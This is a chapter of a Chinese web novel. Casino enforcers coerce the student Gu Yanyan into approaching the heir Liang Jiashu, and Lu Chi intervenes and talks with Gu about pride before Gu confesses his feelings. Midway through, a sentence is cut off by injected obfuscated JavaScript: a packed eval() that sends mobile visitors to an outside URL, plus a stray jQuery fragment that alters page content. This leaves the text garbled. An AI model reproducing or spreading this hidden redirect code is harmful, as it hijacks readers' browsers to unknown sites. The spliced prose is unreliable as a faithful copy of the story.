而且与原著不同——这两个人都进局子当了一周室友,有什么仇应该当面就互殴报了,哪来的精力还要后续找麻烦? 出租车停在FOM后门。 路池下车,看见巷口深处那群人时,很轻地眯了下眼。 20.世界一 深夜十点,市中心依旧灯火喧嚣。 FOM后门位于巷子中央,头顶路灯明亮,最后面是垃圾处理站。顾言言一身侍者制服站在门前,手里还拿着空托盘,神情冰冷地看着面前众人。 为首男人抬脚碾碎香烟,皮笑肉不笑:“顾小朋友,你舅舅上周来我们赌场连输三场,老板看他是老顾客,做主借了两百万给他,谁知他运气这么不好,一整晚手气都这么臭......” 顾言言打断他:“我记得前天我已经给了你们二十万。” 林家给的钱还没捂热,前天这群人就突然上门,不由分说砸了顾家,还要砍掉顾杰右手,吓得顾杰连滚带爬从顾言言房间搜出银行卡给他们。要不是顾言言留了心眼,事先转了三十万到自己账户,他这会儿连饭都吃不起。 男人耸肩:“你舅舅欠的可是两百万,你是连夜搬出去了,可他一个劲儿哭着喊着要我们来找你,说你肯定有钱,我们也没办法咯。” 顾言言冷笑:“赌场就是林家开的,你们想让他输就输,我哪来的钱填这个无底洞?谁欠的找谁,别来找我。” 说罢,他转身就要回去。 男人身后打手立刻上前,一把拽住他头发,毫不留情用力拽过来,顾言言还来不及痛呼,就感觉后膝传来一阵剧痛。 哐当一声,他被打手一脚踹跪下,死死按在原地,动弹不得。 男人上前,神情居高临下:“顾言言,我们是看你给林家做过事才这么客气,别敬酒不吃吃罚酒——听说你今年刚考进A大,还是农业工程院录取名单的第一名?” “啧啧,方山村考过来的,优秀高材生啊。” 顾言言听他对自己的身世如数家珍,后背一凉,胃里仿佛吞了冰冷石块,拽着整个心脏往下沉。 半晌,他哑声开口:“你们到底要我干什么?” 大费周章让顾杰又欠下赌债,逼他不得不想办法赚钱。可两百万哪这么好赚?普通人穷极一生都无法赚到,更何况他一个刚成年的普通学生。 他们到底要他干什么? 男人笑起来:“这才对嘛。” 他掏出一叠资料,指尖点了点上面梁嘉树的照片,仿佛怕被谁听到,声音不自觉压低:“从现在开始,你要找到这个人,然后想办法接近他。” 灯光下,照片里的青年眉眼冷淡宛如死人,漆黑双眸仿佛能透过镜头,极具压迫感地看过来。 顾言言下意识移开目光,又一愣,想起那晚:“这是......梁之羽的表哥?” 男人不屑:“什么表哥表弟,隔了不知道几代,梁嘉树是正儿八经的梁家少爷,要不是梁氏分支厚着脸皮贴上来,他们也配和梁家称兄道弟?” 话音落下。 夜色中,一道好听的声音忽然问:“真的吗?” 男人下意识回答:“当然,要不是我们老板看顾言言办事还可以,也不会找他接近这位。” 好听的声音又问:“你们老板是谁?” 男人说:“林家家主林时年......”说到一半,他猛地察觉到不对,立刻转头怒然:“谁?!” 不远处。 一个漂亮的年轻男人站在路灯下,蓝发白皮,宛如忽然冒出来的蝴蝶精,正光灿灿亮闪闪地看着他们。 他左手拿着一只甜筒,右手举着手机后置,见他们看过来,还抬手靠近了一点,对手机那头道:“听清楚没梁嘉树,他们说要找顾言言接近你。” 他啃了口甜筒,神神叨叨:“我就说吧,他是你官配来着。” ——只不过原小说中的“苦苦暗恋”,竟然是迫不得已的蓄意接近。 那头沉默两秒,才说:“我马上来。你别动,我让赵峰找人保护你。” 路池哦了声,挂断电话。在他对面,那群人早就被突然冒出来的路池和梁嘉树声音吓傻,为首男人脸色苍白,还没开口。 原本紧闭的FOM后门忽然打开,一大群黑衣保镖自里涌出,绕过顾言言,迅速沉默地包围保护住路池。 赵经理屁颠屁颠跟着跑过来,殷切询问:“路先生,您没事吧?” 路池似笑非笑地看了一眼这人精,不紧不慢走到顾言言身边,挑眉看向那个按着他肩膀的打手:“还不放?” 打手被他漂亮的脸闪到,哆嗦了一下,立刻缩回手。路池垂眸,对上顾言言怔然莫名的眼睛,又咬了口冰淇淋:“自己能站起来吗?” 顾言言回神,恍若梦中地点头:“能......我、我现在就起来。” 他爬起身,呆头鹅一样站在路池身边,整个人都陷进一种类似吊桥效应的头晕目眩中,周围发生了什么都不知道。只知道路池身上好香,像是刚洗完澡出来,整个人散发着一股冷气潮湿的香味。 像夜蝶。 赌场打手很快匆忙离开。 路池嫌赵经理吵,挥手让他也带人回去。赵峰犹豫地看着他光灿漂亮的眼睛:“可梁大少说了,让我们......” 路池笑:“我说,回去。” 赵经理:“......是。” 不到三分钟,所有人都离开。 周围顿时安静下来,夜色中,只有远方繁华灯火传来的隐隐喧嚣。 顾言言如梦方醒,转头看了眼四周,有点急:“池哥,还是让人回来吧?万一他们又来了怎么办?你不知道,这些打手下手很毒的,你不能被他们打。” 霓虹中,他依旧染着粉色头发,一张清秀的脸上满是妆容痕迹,隐隐透出几分疲惫。只有语气中的焦急和担忧才能听出来,这不过是一个刚满十八岁的、社会经历尚还浅薄的年轻人。 路池看着他,不紧不慢说:“我知道啊。” 顾言言一愣。 路池几口咔嚓咔嚓啃完甜筒,很快懒洋洋坐在后门处的台阶上,漫不经心:“我上个月才欠了五百万呢,也被打过,也是林家赌场。” “挺痛的,我跳了好多次脱衣舞才还清。” 顾言言一顿,半晌,学着路池小心坐下。 周围很安静,他一边按着自己的膝盖,一边轻声说:“您肯定是被骗的......像您这种人,怎么可能会有赌瘾?肯定是那些坏人骗了您。” 他有个赌徒舅舅,自然知道这些人活得有多浑浑噩噩。而路池漂亮又光鲜,光凭那张脸就能活得很好,有什么必要去赌?” 路池笑问他:“我是哪种人?” 顾言言偷偷看了他一眼,耳根有点红:“什么都会,做什么都很从容、很强大......就算下一秒世界毁灭,您好像也会笑着说没关系。路老师,你就是我想成为的那种人。” 他叫他路老师,真心实意。 这一周里,路池在课上幽默认真、课后温柔疏离。他似乎什么都会,乐器信手就来,绘画头头是道,偶尔还给他们来一段流行舞或者跆拳道,整个人冒着源源不断的灵感和新鲜感。 顾言言原本只是为了他而来,却真的学到许多东西。他忍不住回忆起这一周在A大的经历,回忆起那些鄙夷、排挤、嘲笑...... 或许是独处给了少年勇气。 他沉默许久,忽然抬眸看向路池:“路老师,你为什么可以这么自信?” 因为富足的家境,优越的外貌,又或从小被众星捧月的人生? 路池没有回答。 夜色中,他转头,看了眼顾言言侍者外套的口袋。那里有张冒出一角的卡,是A大图书馆的借阅卡。 他指了指那张卡,问:“A大图书馆是不是很大?” 顾言言一顿,低头,看着自己随身带的卡。 卡上贴的纸张已经泛卷,显然借阅记录极多。因为被室友看不起排挤霸凌,这一周里他除了打工上课,就是泡在图书馆里拼命看书学习。 但是没用。 呆在图书馆的时间越长,他就越中了毒般去看论坛里的帖子。看他室友口中“平常人”的生活,看到纸醉金迷、肆意妄为,他的心仿佛溢满毒汁,恨不得让这些有钱人都去死。 只有在看到路池相关的帖子时,能有一两秒的喘息。顾言言加了很多群,里面那些少爷小姐都对路池追捧至极,他心里酸酸的,但也觉得正常。 路池这样漂亮,值得被追捧。 顾言言抬头,笑得有些勉强:“是很大,我在里面看了很多书。” 路池和他对视,浅褐色的眼瞳被霓虹一照,美丽清透,仿佛能看穿一切。 顾言言下意识攥紧手,却听见浮光掠影中,男人很平淡地说:“从方山村考到A大很不容易,我看过你的档案,你是十年来那里唯一考出来的学生。村委会因为你被政府表彰,虽然只有两万奖金,但你奶奶还上了报纸,笑得很可爱。” 顾言言是A大挑出来宣传的励志案例之一。只是在那些鄙夷他的人口中,这反而变成了嘲笑的证据。 顾言言一愣,几乎太久没有听见夸赞,下意识就反驳:“其实也没什么,A大卧虎藏龙,比我优秀的人有太多,而且有什么用呢,再优秀都比不过那些有钱人......” 路池没有打断,安静听顾言言语无伦次地讲完。 夜风吹过,他身上的香气随风浮动。他的面容,目光,声音,也像风一样淡而轻。 他歪头看着他,笑着挑眉:“那考上A大的时候,你是不是很骄傲?” “......” 顾言言忽然沉默。 路池没有问他是不是很辛苦,只是问他是不是很骄傲。 就好像路池也曾有过那样的时光。 贫穷的,拮据的,不太体面的时光。 咬着一口气,拼着一口气,眼睛紧紧盯住前方唯一的目标,为此付出时间、精力、努力。然后在达成的那瞬间,所有为此流下的眼泪和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14864874|158509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汗水,都成为了幸福的点缀。 因为辛苦,所以骄傲。 顾言言攥紧手,半晌,很轻地说:“......是,我很骄傲。” 他很骄傲。 在那样一个落后的地方,父母早亡,爷爷奶奶的年纪已经大到连照顾自己也困难。顾言言很小开始就学着自己做饭上学,镇上老师连英语都带口音,他看见过他们刷手机,短视频里一切都很光鲜亮丽,是他从没见过的风景。 顾言言穷怕了,拼命读书,梦里都是去大城市找到舅舅,过上风光的人生。高考查分那天,他想的是如果这辈子考不出这个穷地方,那他不如找条河去死。 好在他做到了。 临走那天,奶奶拿着行李要送他去上学,顾言言嫌恶地将人推开,又将那两万块全部扔给她,用方言不耐烦说:“以后我不会再回来,你们拿着钱自己过。最多一年,我会定时给你们打钱过来。” “记住,千万不要来找我,我不想被别人看不起。” 他没看他们的神情,迫不及待坐上班车,一路离开这个生养他的地方,只觉得人生将由自己亲手改写,开心得要死。 顾言言有些出神,恍惚地想,那时候的自己是怎样的? 好像是意气风发,得意骄傲的。 顾言言听见路池的声音,裹挟在凉爽夜风里,不带任何情绪。 “你的骄傲,是命运握在自己手中时的欣喜。” 读书能改变命运吗?顾言言一开始坚信,后来怀疑,最后推翻。 被贫穷包裹的人一无所有,当他错觉命运这东西能靠自己的努力改变时,他的意气风发无需言语,举手投足间满是底气。 而现在,他看着路池,发梢有股劣质染发剂的浓重香精味,清秀的脸上化着粉底眼影,因为被命运抬手轻轻戏弄,眉眼充斥着自卑与不甘。 说实话,看起来蛮狰狞,像只快疯了的流浪狗。 路池抬手,不忍直视地拍了下他的发梢,看见少年瞬间紧张攥住的手。 路池笑了下,片刻,说:“顾言言,要一直记住骄傲的感觉。” 记住孤立无援时,支撑自己向前走的感觉。 路池从来不当任何人的救命稻草,但当经过这些角色的人生,站在他们各有岔道的路口,他总会忍不住想起曾经支撑过自己的东西。 第一次被退回福利院,迷路时偷偷在路边哭得要死要活,院长妈妈找来,蹲下身沉默递来的一个甜筒。 去西餐厅弹钢琴赚学费,按着想占便宜的男客人痛打一顿,被逼着道歉时,餐厅女经理毫不退让的维护。 被黑粉人肉出身世、大肆网暴,曾经的老师同学一个接一个生疏开直播,一本正经讲他有多优秀努力。粉丝在下面哭,梗着脖子叫“就是!我哥哥那么好,一群死了爹的贱人,凭什么骂他!” 路池的完整人格来源于这些琐碎的,温暖的,源源不断的爱。但他是被抛弃的弃婴,没有天生的家人,所以也贪恋这些温暖,所以对强烈到扭曲的爱意格外宽容。 甚至隐约期待。 路池隐约清楚,自己似乎有点病态。他拼命做到最好,处处争抢优秀,身体的伤口越多,路池越有种满足,他很想向所有喜欢他的人证明,他可以。 强大温柔,坚不可摧,无所不能。 他都能做到。 所以此刻,路池也只是挑眉,漫不经心伸手,轻轻拍了拍站在人生路口的主角受,告诉他,往前走。 ——前方大道平坦,摔了还能爬起。身后小径陡峭,摔了就是万丈深渊。 夜色中,顾言言仿佛被当头砸了一棒,怔然地看着路池。 对方似乎有点累,懒洋洋往后靠在台阶上,长长的腿散漫晃着,老佛爷般挥手开口:“行了,你进去吧,我等个人。” 他等的是谁,顾言言知道。 那人的地位有多高,顾言言也知道。 但此刻,他好似自昏沉梦中完全清醒,曾经的勇气与冲动又重新回到这具身体,他攥紧拳,忽然伸手,猛地将毫无防备的路池揽过来,一把抱在怀中,让对方紧紧靠在自己单薄却坚定的肩上。 少年手在抖,身体也有点抖。 但声音很坚定,大声道:“老师,我喜欢你!如果你不介意,我可以当你私下的提款机,我会努力赚钱,让你过上好日子!” 路池歪头愣住,发出唐老鸭一样嘎的一声:“啊?” 与此同时,发动机轰鸣声瞬息停止。 黑暗中,英俊高大的青年终于抵达会所后门,不紧不慢走到二人面前。 他垂眸,脚下影子黑雾般笼罩住“亲密相拥”的二人,脸上神色很淡,居高临下看着他们,像只即将索命的冤鬼。 路池对上那双漆黑瞳仁,一顿,立刻转头,非常好心地建议顾言言:“回家吧孩子。” “回家吧,好不好?”